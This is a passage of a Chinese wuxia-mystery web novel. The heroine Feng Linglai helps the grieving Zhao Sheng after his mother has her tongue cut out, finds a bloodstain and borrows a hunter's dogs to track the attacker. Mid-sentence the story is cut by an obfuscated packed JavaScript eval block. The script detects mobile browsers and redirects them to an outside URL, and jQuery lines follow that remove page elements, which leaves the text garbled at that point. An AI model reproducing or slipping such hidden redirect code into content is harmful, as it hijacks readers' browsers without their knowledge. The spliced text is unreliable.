赵生的声音颤抖着,像一根绷到极致的弦,每个字都从齿间艰难挤出,裹挟着深不见底的恐惧与绝望。
封灵籁与陈大叔目光相接,两人眼底同时掠过一丝晦暗不明的复杂神色。
夜色如墨,山风裹挟着刺骨寒意,将三人的衣袍吹得猎猎作响。
远处原本温暖的农家灯火,在赵生那番诡谲言论的映衬下,竟化作飘忽不定的鬼火。白日里苍翠的峰峦此刻化作蛰伏的巨兽,农舍透出的点点亮光,恰似山精鬼魅窥视人间的眼眸。
在这心理与环境的双重压迫下,赵生终于崩溃。他蜷缩着跪倒在地,双手紧紧捂在脸上,指缝间溢出的泪水在月光下泛着银光,如同断了线的珍珠,一颗接一颗砸在院中的灰泥地上。
滚烫的泪珠与冰冷的地面相遇,绽开一朵朵黑色的花。越来越多的墨色花朵在月光下蔓延。
封灵籁轻叹一声,眸中闪过一丝怜悯。她向来不信鬼神之说,只信人心险恶、武功诡谲。那些所谓的灵异怪谈,不过是高人刻意为之的把戏。可此刻赵生瑟瑟发抖的模样,却让她心头微动。
“赵生,”她声音清冷,指尖轻抚烛台,跳动的火光映在她沉静的侧脸上,“这世间从无鬼神。好事坏事,奇事怪事,皆出自人手。有人武功卓绝,行事自然匪夷所思;有人平庸无能,所作所为便也乏善可陈。”语气虽缓,却字字如铁。
赵生缓缓抬头,涣散的目光落在封灵籁手中的烛火上。
那簇火焰忽地在他眼中暴涨,连同她的话语化作燎原之火,一路烧进他混沌的脑海、心房。那些盘踞多时的恐怖幻象、荒诞念头,在这烈焰中噼啪作响,化作灰烬飘散。
他看清了恐惧背后的真相——未知。
赵生的眼神渐渐清明。
是啊,若这世间真有鬼神,为何母亲日日虔诚祷告,却仍换不回父亲归家的身影?而天下苍生又为何陷入苦难不得解脱呢?
记忆如潮水般涌来。
他们一家本是东安国墨阳城的百姓,三口之家虽算不得富裕可也幸福美满。
三年前,墨阳城开始大肆征兵,他的父亲被强征入了军,那时他才十三岁,母亲日日于寺庙中求神拜佛,祈求诸神保佑父亲。可是一年后,她们却等来了父亲战死沙场的消息。他们的抚恤金本有二十两白银,却被官员贪污,最后发放给她们的只有三百文钱。
母亲痛苦过后,便是连夜带着他四处逃难,他日渐长大,母亲害怕会像失去父亲一样失去他。
母亲牵着他的手走过无数荒山野岭。他记得母亲粗糙的手掌,记得她夜半压抑的啜泣,更记得她总在黎明时分擦干眼泪,对他说:“生儿,再走远些就好了。”
于是,她们走了很远很远的路,吃了很多很多的苦,才来到这里。
这里没有压榨百姓的官吏、没有肆意欺凌百姓的官兵、没有穷凶极恶的歹徒,连吹过竹林的风都带着安宁的气息。
他们跋涉千里,原以为终于能在这世外桃源重获新生,逃离那个吞噬了父亲的腐朽王朝。可今夜,连那个永远温柔、逢庙必拜的母亲,也被人残忍地割去了舌头。
那些享尽香火的神佛,此刻又在何处?
他忽然发出一声似哭似笑的哽咽。
若苍天有眼,为何不降雷劈死那些鱼肉百姓的贪官?若幽冥有灵,为何不索命那些横行乡里的恶霸?母亲日日供奉的香火,终究只换来满殿泥塑木雕的冷漠注视。
“嗬......”赵生用袖子狠狠擦过脸庞,在脸颊上刮出几道血痕。心中的愤恨像野草般疯长,他抬头,血丝爬满了他的眼白:“你说得对!”他嗓音嘶哑得像磨过砂石,“既然是人作恶……”突然一拳砸在地上,指缝间渗出的血珠混着泥土,“那我便用这双手,亲自为娘亲讨个公道!”
赵生猛地起身,抄起墙角那把生着暗红铁锈的镰刀,刀锋在月光下泛着冷光。他大步流星跨进东厢房。
封灵籁与陈大叔交换了个凝重的眼神,紧随其后。
屋内景象触目惊心。
本该放置于木桌上的茶壶、水杯全部摔在地上,四分五裂。木桌、椅凳也同样身首异处。看情形,赵生母亲是与割舌的凶手进行过打斗。
封灵籁提着烛台在屋内缓步绕行,烛火在她眸中跳动。突然她蹲下身,指尖轻轻拨开满地狼藉,碎瓷在她手下发出细微的碰撞声。
“有了。”她指尖一顿。翻开最后一块碎片时,碎片边缘与它覆盖的地面上都附着着一丝不易察觉的血迹。
只是不知是凶手的,还是赵生母亲的。
陈大叔凑近看了看,浓眉拧成结:“这点血能看出什么名堂?”
封灵籁却已直起身子,目光落在洞开的窗棂上。夜风拂过她鬓边碎发,她忽然莞尔:“二位可知,这村里谁家养着好猎犬?”
“借狗做甚?”陈大叔见封灵籁答非所问,更加迷惑不解。
而一旁的赵生年纪轻脑袋灵,他瞬间明白了封灵籁的用意:“我知道,我们可去张叔家借,他是猎户,养了三四条猎犬。”
“好!事不宜迟,我们即刻就去。”
封灵籁把木架上的帕子取了下来,将碎片与地面上的血迹沾在了帕子上,跟着赵生一路来至张老三家。
张老三前些日子上山抓野味,不小心被一群野狼围攻,被咬断了腿。如今也不知他好些了没。
张老三家离赵生家不算太远,也就是二里的路程。她们三人还未靠近张老三家,两条浑身毛发发黑的猎犬,便从他家窜了出来对着她们狂吠不止。
三人被猎犬逼得不敢再进,僵立在原地。
那两条黑犬也停在十步开外,龇牙咧嘴地狂吠,颈毛根根竖起,在月光下如同两团跳动的黑色火焰。
陈大叔最是惧狗,被这阵势吓得双腿发软,眼前发黑,身子晃了晃险些栽倒。赵生眼疾手快,一把扶住他摇摇欲坠的身子:“陈大叔当心!”
犬吠声惊动了屋内人。
张老三的娘子抄起门边的木棍冲出来,见封灵籁三人如木桩般杵在院外,一时怔住。双方隔着五尺距离面面相觑,夜风卷着落叶在中间打着旋儿。
封灵籁轻咳一声,声音清亮地打破沉默:“张娘子,深夜叨扰,实在是有要事相商。”
“哎哟!”张老三娘子这才认出人来,慌忙扔了棍子,粗糙的手在围
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405456|168757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裙上擦了擦,“是戚大夫娘子啊!快请进快请进...…”她小跑着赶走两条猎犬并将它们拴在梨树下。
封灵籁三人经过猎犬时,那两条猎犬竟通人性地安静下来,只是耳朵仍警惕地支棱着,眼睛一瞬不瞬地盯着院门方向。
屋内昏黄的灯光透出,映着简陋的农具和褪色的年画。张老三正半倚在床榻上,见来人急忙撑起身子:“快扶我起来...”
赵生见状,立即上前帮忙。他与张老三娘子合力将张老三安置在桌旁的长凳上。张老三娘子用袖子擦了擦桌面,给每人斟了碗冒着热气的粗茶。
“多亏戚大夫和娘子相救,”张老三拱手时,伤腿不自觉地颤了颤,“本想着等能走动了,定要登门道谢...”
封灵籁目光落在他包扎的伤腿上,温声道:“张大哥不必客气。看你这伤势,可还疼得厉害?”
“好多了好多了,戚大夫真是华佗再世!您瞧这腿,都能动弹了,再休养几日准能下地!”张老三边说边拍大腿。黝黑的脸上绽开感激的笑容,眼角的皱纹都舒展开来。
封灵籁展颜道:“那便好。”她话锋一转:“张大哥,我们此番前来,实是有事相求。”
“哦?”张老三粗眉一挑,笑道:“戚娘子但说无妨!莫说借东西,就是要我老张这条命……”
“想借您几条猎犬一用。”封灵籁立时截住他的豪言,眼角余光扫过门外晃动的树影。
张老三闻言,一愣,随即哈哈大笑道:“我当是啥事呢,原来是这事!没问题!”转而对旁边的娘子道:“娘子,快去把我养的猎犬牵进来。”
张老三娘子闻言,眉眼带笑,应声而去。不一会儿,便牵着两条毛色油亮、身形矫健的猎犬走了进来。
这两条就是先前冲她们吠叫的猎犬,两条猎犬见到封灵籁等人,也只是象征性地吠了几声,便又安静地伏在张老三脚边。
张老三拍着胸脯保证道:“戚大夫娘子尽管放心,这几条猎犬都是我一手调教的,鼻子灵得很!”
封灵籁抱拳,眼中闪过一丝感激:“张大哥仗义相助,实在感激不尽。”她顿了顿,继续说,“只是近来村里不太平,你们在家也要多加小心。”
“不太平?”张老三猛地直起腰,伤腿碰在桌角,疼得他倒抽一口凉气。他娘子连忙按住他的肩膀:“你急什么!让戚娘子把话说完。”
封灵籁见状,连忙摆手:“张大哥别急,不过是些偷鸡摸狗的勾当。”她眼波流转,朝陈大叔与赵生递了个眼色。
赵生会意,接口道:“正是!我家和陈大叔家都遭了贼……”话音突然卡住,他尴尬地搓着手,求助般看向封灵籁。
陈大叔也涨红了脸,嘴唇嚅动着不知该如何称呼封灵籁。
屋内一时静得能听见柴火在灶膛里噼啪作响。
封灵籁唇角微扬,轻描淡写道:“唤我无名便是。”
“对、对!”陈大叔如蒙大赦,忙不迭接话,“多亏无名姑娘会些拳脚功夫,答应帮我们捉贼。”
张老三摸着胡子恍然大悟,忽然重重叹了口气:“这世道啊!官府管不着咱们这穷乡僻壤,倒让盗匪猖狂起来。”